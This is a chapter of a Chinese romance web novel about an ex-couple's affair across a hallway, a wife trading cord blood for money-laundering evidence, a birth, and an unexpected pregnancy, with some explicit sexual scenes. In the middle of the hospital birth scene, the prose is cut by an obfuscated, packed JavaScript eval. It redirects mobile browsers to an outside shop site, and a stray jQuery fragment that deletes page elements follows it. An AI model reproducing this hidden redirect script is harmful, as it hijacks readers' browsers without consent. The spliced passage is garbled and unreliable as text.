许达搬进新公寓的头一个星期，在电梯里遇到了林晚五次。
她看见他，愣了一下。
“你怎么在这里？”
“我住对面。”许达笑了笑。
林晚走进电梯，狭小的空间里只有他们两个人。
他能闻到她身上的味道——洗衣液，淡淡的，跟以前一样。
“你搬来这里干什么？”她问。
“离公司近，方便。”
林晚没有追问。
她知道他在撒谎，龙腾总部在中国城，离这里开车要二十分钟，不近。
第三天晚上，他从超市回来，电梯门开了，她站在里面，穿着那件灰色的卫衣——他的那件。
许达的目光在那件卫衣上停了一瞬，林晚没有解释，许达也没有问。
第五天早上，林晚穿着运动服，像是要去跑步。许达像是要去上班。
电梯里只有他们两个人。
“你最近怎么样？”她问。
“还行。你呢？”
“还行。”
然后就没有话了。
第六天晚上，她从母亲那里回来，他从公司回来。
电梯门开了，他们同时伸手去按楼层，手指碰在了一起。她的手是凉的，他的手也是凉的。
“你先。”他说。
她按了二十二，电梯开始上升。他看着楼层数字一个一个地跳——一、二、三、四。
“你妈身体怎么样？”他问。
“挺好的。住养老院比一个人住在加州好。”
“那就好。”
第五次是第十天。那天他生日。
***
许达是被手机闹钟吵醒的。十二月二十日，他的生日。
他已经很久没过生日了。
小时候，母亲会在这一天煮一碗长寿面。后来母亲去了疗养院，就再也没有人给他煮过面。去年是林晚给他过的。她煮了面，还烤了一个蛋糕。
起床，洗澡，刮胡子，穿衣服。他换了一件深灰色的毛衣——林晚送的那件。
他站在镜子前看了自己一眼，开车去了疗养中心。
母亲坐在窗边的椅子上，阳光从窗户照进来，落在她花白的头发上，像一个快要熄灭的灯泡，在最后一丝电流里发出微弱的光。
“妈，我来看你了。”
母亲抬起头，看了他一眼，目光是散的，像隔着一层雾。
“你是谁？”
许达蹲下来，握住母亲的手。
母亲的手很瘦，皮肤薄得像纸，青色的血管在手背上蜿蜒。他用两只手包住她的手，想把她的手捂热，但她的手是凉的，捂不热。
“妈，我是陈衍之……你儿子许达。”
母亲摇了摇头。
“我没有儿子。”
许达的眼泪掉下来了。
他蹲在母亲面前，握着她的手，像一个被遗忘在角落里的孩子。
母亲看着他的眼泪，脸上没有表情，只是歪着头看他，像在看一件不认识的东西。
“你哭什么？”
“没什么。妈，今天是我生日。”
“生日？”母亲想了想，“那你吃面了吗？”
许达愣了一下。母亲还记得生日要吃面。
“还没有。”
“那你去吃面吧。长寿面，要加荷包蛋。”
她说完这句话，转过头，看着窗外。窗外是一排光秃秃的树，枝丫在风中轻轻摇晃。
许达蹲了很久。
他从疗养中心出来的时候，天已经快黑了。
他坐在车里，看着挡风玻璃外面的天空。云是灰紫色的，像一块淤青。
他拿起手机，翻到林晚的号码，不敢打。
***
他开车回家，电梯门开了，林晚站在里面。
她看见他，愣了一下。他的眼睛是红的，眼眶下面有泪痕。
“你怎么了？”她问。
许达走进电梯，按了二十二。
“没事。去看了看我妈。”
“她还好吗？”
“她已经完全不认识我了。”
林晚没有说话。这个情况下，她不知道该说什么。
电梯到了二十二楼。
“林晚，今天是我生日。”许达干巴巴地说。
林晚的手指在钥匙上停了一下。
“那就祝你生日快乐。”
“你能来我家坐坐吗？就一会儿。我不想生日这天一个人待着。”
林晚犹豫了一下。
不应该去的，自己已经跟陈屿洲在一起了，许达也结婚了，再有接触就显得太不合适了。
但她看着他站在走廊里，像一只被人遗弃的狗，原本就不太坚硬的心一下子软了。
“好吧。我放下东西就来。”
***
许达的家在她对面，2210。
客厅不大，沙发是灰色的，茶几是原木色的，电视柜上放着一盆绿萝，叶子上还带着水珠，像是刚浇过。
林晚注意到，这个家里没有沈若棠的痕迹——没有她的照片，没有她的东西，没有她的味道。
“你一个人住？”
“嗯。搬出来一段时间了。”
许达指了指沙发。
“你坐。我给你倒杯水。”
林晚在沙发上坐下来，看到他放在茶几上的书——《期货市场分析》——是林晚以前看的那本，他搬家的时候带走了。
“你看这本书？在学期货吗？”
“就是看看，看不懂。”
他把水杯放在她面前，在她旁边坐下来。
“你一个人住，习惯吗？”她问。
“还行，这栋楼挺安静的。”
林晚端起水杯，喝了一口。水是凉的，带着一点过滤器的味道。
“你吃饭了吗？生日要吃面的。长寿面，加荷包蛋。”
许达愣了一下。
林晚也不知道自己为什么要说这句话。
她站起来，走到厨房。
“我给你煮碗面吧。”她说。
她打开冰箱，里面有鸡蛋、青菜、一把葱，还有一包挂面。
把锅接上水，水烧开的时候，把面放进去。
蛋液滑进锅里，白色的蛋白在沸水中散开，像一朵花。
她切了几根葱花，撒在面上。
许达站在厨房门口，看着她做这些事。厨房的灯光照在她身上，把她的轮廓镀上一层暖黄色的光。
“好了。”她把面端到餐桌上，“生日快乐。”
林晚在他对面坐下来，看着他吃面。
许达吃得很慢，像是在品尝珍贵的东西，舍不得一口吃完。
“林晚，你还记得去年我生日吗？”
“记得。”
“你烤的蛋糕糊了。”
“但你还说好吃。”林晚笑了一下。
“林晚，如果我们没有分手，现在会怎样？”
林晚的笑容消失了。
“许达，你已经结婚了，就不要再想这些了。”她站起来，“我该走了。陈屿洲在家等我。”
许达走到她面前，林晚没有动。
他伸出手，把她的手握住了。
“林晚，今天我生日，不要走。”他低下头，嘴唇触碰到林晚的嘴唇，舌尖抵住林晚的上颚。
林晚本能地想推开他，但双腿一软，整个人跌进他怀里。
***
后来的事情，林晚记得不太清楚。
她只记得他的嘴唇是凉的，但很快就变暖了。
他吻得很轻，像怕弄碎她。
手从她的肩膀滑到后背，又从后背滑到腰侧。
手指贴着她内裤下的皮肤，冰凉的，激得她深吸了一口气。
“冷。”她低低地说。
他没有松开手，只是把她抱得更紧了。
她被他放倒在沙发上，腿交叠着，分不清谁的。
她想起了他们在一起的两年，在沙发上做过无数次，太熟悉彼此的温度了。
他没有变，还是那样轻，那样慢。跟陈屿洲的激烈相比，许达更像呵护。
“要不要我轻点？”许达小心翼翼地问。
她的眼泪流了下来。
“不要停。我要。”
她顾不上擦眼泪，一把搂住许达的脖子，指甲深深地嵌进他的背。
***
一切安静下来之后，两个人躺在挤在一起。
沙发太小了，他们只能侧着身，面对面，腿缠着腿，呼吸交缠在一起。
许达伸出手，轻轻擦掉了她脸上的眼泪。
“林晚，我们重新开始吧。我会跟沈若棠离婚。等她把孩子生下来，就离。”
“许达，我们不是从前的我们了。我有男朋友，你有老婆，我们不是光明正大的关系。”
“我不在乎陈屿洲，你也不要在乎我跟沈若棠结过婚。我们之前的两年时间，是任何人都没法介入的。”
林晚摇了摇头。
“许达你别这样，这事不是随便就能过去的，让我想想。”
***
林晚从许达家出来的时候，已经是凌晨一点了。
她站在走廊里，靠着墙，腿在发软，小腹酸痛，浑身都是许达的味道。
她走进浴室，把衣服扔进洗衣篮。打开水龙头，蒸汽升起来，模糊了镜子。
她看着镜子里的自己，锁骨、脖子、胸口上布满了吻痕——许达留下的。
她闭上眼睛，站了很久。
她不该去的。她不该给他煮面。不该让他握她的手。不该让他吻她。不该跟他做……她不知道自己究竟在迷恋什么，但身体真的太渴望许达了。
许达体力不如陈屿洲，技巧也不如，还不懂甜言蜜语，但林晚就是抑制不住地想他。想要他。
她洗完澡，躺在床上，翻来覆去，睡不着。
她也不确定自己对陈屿洲的感情，是爱呢，感激呢，还是欲望下的一种冲动。
不知道自己爱的是谁，也许两个都不爱，也许两个都爱。她不知道。
第二天早上，林晚是被陈屿洲吻醒的。
“昨晚你去哪了？我等你到半夜。”他的声音带着刚睡醒的沙哑。
“去我妈那儿了。她不舒服。”
陈屿洲没有追问，照例晨间运动，连眼睛都睁不开。
林晚觉得陈屿洲的体力一直成谜，无论头一天折腾多久，第二天清早，他都雷打不动地要做一次。
但此刻，心虚的林晚不敢有半分懈怠。
为了掩盖昨晚的事，今天她格外主动热情，一翻身骑在陈屿洲上面，又抓又咬，像一只疯猫，把陈屿洲逗得万分开心。
高潮过去，陈屿洲翻个身继续睡了。
林晚起来，走进浴室，打开水龙头。
她看见镜子里的自己，新的吻痕覆盖了旧的吻痕，陈屿洲的牙印下面有许达吮吸的瘀斑，星星点点浑身都是。
她松了一口气，但忘记了一件很重要的事。
从昨晚到今天，她都没有吃避孕药。
***
许达走的那天，沈若棠在客厅里坐了一整夜。
第二天早上，她打电话给李明远。
“李明远，你之前说的那个事，我答应了。用脐带血救你。”
电话那头，李明远喜极而泣。
“谢谢，你是我的大恩人！”
“恩人谈不上，但你要答应我一件事。”
“什么事？”
“你手里陈家的那些证据，全部给我。一份都不能留。”
李明远又沉默了几秒。
“好。我都给你。”
沈若棠挂了电话，手放在肚子上。孩子踢了一下，她低头看着肚子。
“对不起。”她轻声说。不知道是对孩子说的，还是对自己说的。
第三天，她去医院做了产检。一切正常，孩子很健康。
从医院出来，她去了李明远的医院。
李明远瘦得更厉害了。
“你来了。”他挣扎着想坐起来。
沈若棠没有帮他，远远地站着，戴上了防护口罩，好像李明远是种病毒。
“证据呢？拿来我验一下。”
李明远指了指床头柜的抽屉。
“都在里面，我什么都没有隐瞒。”
沈若棠拉开抽屉，里面是一个牛皮纸信封，厚厚的，里面是几份文件、几张照片、一个U盘。
“都在这里了。陈国栋和陈屿安洗钱的记录、转账凭证、聊天记录截图。这些东西，我不知道对你有没有用。”
沈若棠把信封放进包里。
“你确定没有留底吗？”
“没有。都给你了。”
沈若棠低下头，看着自己的肚子。
“孩子生下来之后，我会通知你。脐带血会帮你留好的。你好好养病，不要问其他的事。”
也不等李明远说更多感激的话，沈若棠赶紧头也不回地走了。
***
许达是在沈家客厅里看到那些证据的。
沈若棠把牛皮纸信封放在茶几上，推到许达面前。
“你看看。我觉得对你有用。”
许达打开信封，一份一份地看——转账记录、聊天记录、照片。每一份证据都指向陈国栋和陈屿安。
“你在哪里拿到的？”
“李明远。我用脐带血跟他换的。”
许达定定地看着沈若棠。
“这些资料很重要。谢谢你。”
沈若棠眼眶红了。
“衍之，你实话告诉我，你是不是在外面有人了？”
“没有。”
“那你为什么要搬走？”
“因为我给不了你爱情。你嫁给我的时候就知道了。”
沈若棠的眼泪掉下来了。
“我知道你不爱我。但我挺着大肚子，老公搬出去住了，人家会怎么看我？”
“若棠，我娶你的时候，说得很清楚。我们做面子夫妻，各过各的。你现在要爱情，我给不了你。”
沈若棠的手放在肚子上，孩子踢了一下，她“嘶”了一声，皱起眉头。
“许达，你回来好不好？我会对你好，什么都听你的。就算看在我替你搜集证据的份上，你别这么快丢下我。”
许达看着她的眼泪，看着她隆起的肚子，觉得现在提离婚确实有点过分了。
“好，我暂时不跟你离婚。但我有很多事要忙，没时间陪你。你照顾好自己和肚子里的孩子，不要再哭了。我听着真的很心烦！”
沈若棠哭着点了点头。
许达拿起那包证据站起来。
“我有事先走了。再一次谢谢你。这些证据对我很重要。”
沈若棠坐在沙发上，看着他的背影消失在门口。
***
十二月三十一日，沈若棠生了一个女儿。比预产期早了两周。
许达接到电话的时候，正在龙腾总部开会。他赶到医院的时候，沈若棠已经被推进了产房。
走廊里坐着沈鹤鸣和林淑芬。沈鹤鸣看见许达，站起来。
“你怎么才来？”
“刚才在公司开会。”
“开会比你老婆生孩子还重要？”
许达没有回答。他在走廊的长椅上坐下来，等着。
产房的门开了，护士推着一个保温箱出来，里面躺着一个婴儿，很小，脸皱巴巴的，像一个小老头，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17508637|202902||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
头发黑黑的，手指细得像火柴棍。
“女孩。一切正常。母女平安。”
许达站起来，低头看着保温箱里的婴儿，此刻闭着眼睛，嘴巴一张一合，像在吃什么。
沈若棠被推出产房的时候，脸色苍白，嘴唇没有颜色，头发湿漉漉地贴在脸上。
“衍之，你看到女儿了吗？她长得很漂亮。”
“看到了。你好好休息。”
沈若棠伸出手，想握住他的手。许达犹豫了一秒，推开了。
“我带上了驾照，待会儿可以给她办出生证明。”看到沈若棠眼里的泪花，许达觉得有点不过意，补充了一句。
当他站在窗口，工作人员问“孩子叫什么名字”，他想了想，在纸上写了两个字——“陈念”。
念念不忘的念。
***
陈屿洲是在元旦那天知道沈若棠生了的。
“沈若棠生了，女儿。许达当爸爸了。你是陈家人，应该第一时间去看看。”
陈屿洲不想去，但林晚最近总是心不在焉，连□□都没法集中精力。
陈屿洲觉得应该带她去社交一下，顺便讽刺一下许达。
“林晚，沈若棠生了。我们明天去看看她。”
林晚愣了一下。
“沈若棠？我跟她不熟。”
“她跟你都接过吻了，还不熟？就去看看，礼物我来准备。”
林晚犹豫了一下，点了点头。
第二天下午，他们去了医院。
沈若棠半躺在床上，脸色还是有点白，但比昨天好了一些。婴儿躺在旁边的小床上，裹着浅粉色的襁褓，只露出一张小脸。
“恭喜恭喜。”陈屿洲把水果篮放在床头柜上。
“谢谢。”沈若棠的目光移到林晚脸上，“林晚也来了？没想到你会抽空来看我。”
“嗯。来看看你和孩子。”林晚突然有种尴尬。
她想起许达说，孩子出生后就离婚此刻看到那个粉红的小襁褓，竟然忐忑了。
许达走进来的时候，手里拿着一个保温杯。
他看见林晚，脚步停了一瞬，然后走到沈若棠床边，把保温杯放在床头柜上。
“喝点热水。整个医院都找不到热的，我特意去隔壁的华人餐厅打的热水。”
“好。”沈若棠端起保温杯，喝了一口。
陈屿洲看着许达，嘴角动了一下。
“孩子长得像谁？像爸爸还是像妈妈？”
沈若棠笑了一下。
“还小呢，看不出来。”
陈屿洲走到婴儿床边，低下头看着襁褓里的婴儿。婴儿的眼睛闭着，嘴巴一张一合的。
“这孩子长得像许达。眼睛、鼻子、嘴巴，都像。”他顿了一下，转过头看着许达，“不过也像沈若棠。说来说去还是你们俩的孩子。”
沈若棠的脸微微红了一下。
林晚的脸白了。
沈若棠的笑容消失了。
“陈屿洲，你什么意思？”
“没什么意思。孩子像爸爸不是很正常嘛。看来基因这个东西，真神奇。”陈屿洲笑了一下。
婴儿忽然哭了。哭声很尖。
沈若棠把女儿抱起来，轻轻拍着。
她的眼泪在眼眶里转了几圈，终于掉了下来。陈屿洲刚才几句话，彻底让她破防了。
陈屿洲看了一眼许达，又看了一眼林晚。
“已经看过宝宝了。我们先告辞。”他转身走出病房。
***
许达在病房里站了一会儿，叹了口气出去。
走廊尽头，他看见林晚站在电梯口，陈屿洲不在。
“林晚，有时间我要跟你聊聊。”
她转过头：“现在不方便。你老婆孩子在等你，我男朋友也在楼下等我。”
第二天早上，他回了The Reed。
刚到二十二楼，就看见林晚站在走廊里。
“我们能谈谈吗？”许达紧张地问，生怕林晚拒绝，“就几分钟。求你。”
林晚叹了口气：“有什么话就说吧。”
“不是在这里。去我那儿。你喝了这杯茶再走。”
林晚没有动。
“求你了……我就是跟你聊聊，不干别的！”许达拉住林晚的手，半拖半拽把她带回自己家。
***
林晚刚一进门，许达就从后面抱住了她。
一只冰凉的手胡乱地塞进毛衣，林晚费力地按住许达。
“许达，我们不能这样了。”
许达却像没有听见她的话，双唇灰白，声音颤抖。
“林晚，就这一次，我保证。”
林晚闭上眼睛，松开手。
许达看到她温顺的样子，轻巧地抱起她，走进卧室。
林晚喉咙里发出痛苦的呢喃与呻吟，整个人像没有骨头，软软地缩在许达胸口。
***
两小时后，两个人气喘吁吁地躺在床上，床单都湿了。
许达伸出手，想拉她的手。林晚缩了回去。
“林晚，我会跟沈若棠离婚的。但可能需要一点时间。”
“什么意思？”
“她刚生完孩子。等她出了月子，我就跟她谈。她手里有陈国栋和陈屿安洗钱的证据，我需要那些证据，所以暂时不能跟她翻脸。”
林晚本来闭着眼，听到这话猛地坐起来，背对着他，开始穿衣服。
“林晚——”
“许达，不用解释，我明白。证据很重要，龙堂更重要。我们这种关系实在见不得光，别当真。”
她穿上裤子，又开始找鞋。
许达急了，用力地捧住她的脸，雨点样地乱吻。
“林晚，报仇比我自己的命重要。我爸死了十四年，我一直在找凶手。现在证据就在沈若棠手里，我不能不要。”
“我知道。你不用跟我解释。”
她推开许达，许达再次抱住她，她又推开。
“许达，我们不要再见面了，回去照顾你的老婆孩子要紧。”
许达的手停在半空中，张了张嘴，却一点声音都发不出。
她拉开门，走了出去。门关上的那一刻，她听见身后传来一声很轻的声响，像是什么东西碎了。
***
第二天早上，林晚在办公室翻台历，月经已经迟了一周，这不正常。
她去药店买了一盒验孕棒，心惊胆战地走进卫生间。
等待的三分钟，像一个世纪。
验孕棒上两条线，红色，清晰，像两条平行的铁轨，延伸到没有尽头的远方。
她大脑一片空白，蹲下来，把脸埋进手心里。
这个孩子是许达的，还是陈屿洲的？她心乱如麻，不断地问自己。
想不出答案，她顺手把验孕棒扔进了垃圾桶。
***
陈屿洲是在垃圾桶里发现那个验孕棒的，拿出来看了看——两条线。
他把验孕棒放在茶几上，坐等林晚回来。
林晚开门的时候，看见他坐在沙发上，面前是那根验孕棒，表情变了。
“你翻我垃圾桶？”
“你怀孕了？怎么不告诉我？”
“我——不确定到底要不要。”
陈屿洲的脸僵了一下：“不确定要不要？这是我的孩子，你想杀了他？”
林晚心里咯噔一下，她不想告诉陈屿洲，自己跟许达又睡过两次。
两次而已。
林晚算算自己跟陈屿洲上床的频率——每天都有，有时候不止一次——孩子大概率应该是陈屿洲的。
但她闭上眼睛，心里有一个声音在说：如果是许达的就好了。
她觉得自己一定是疯了。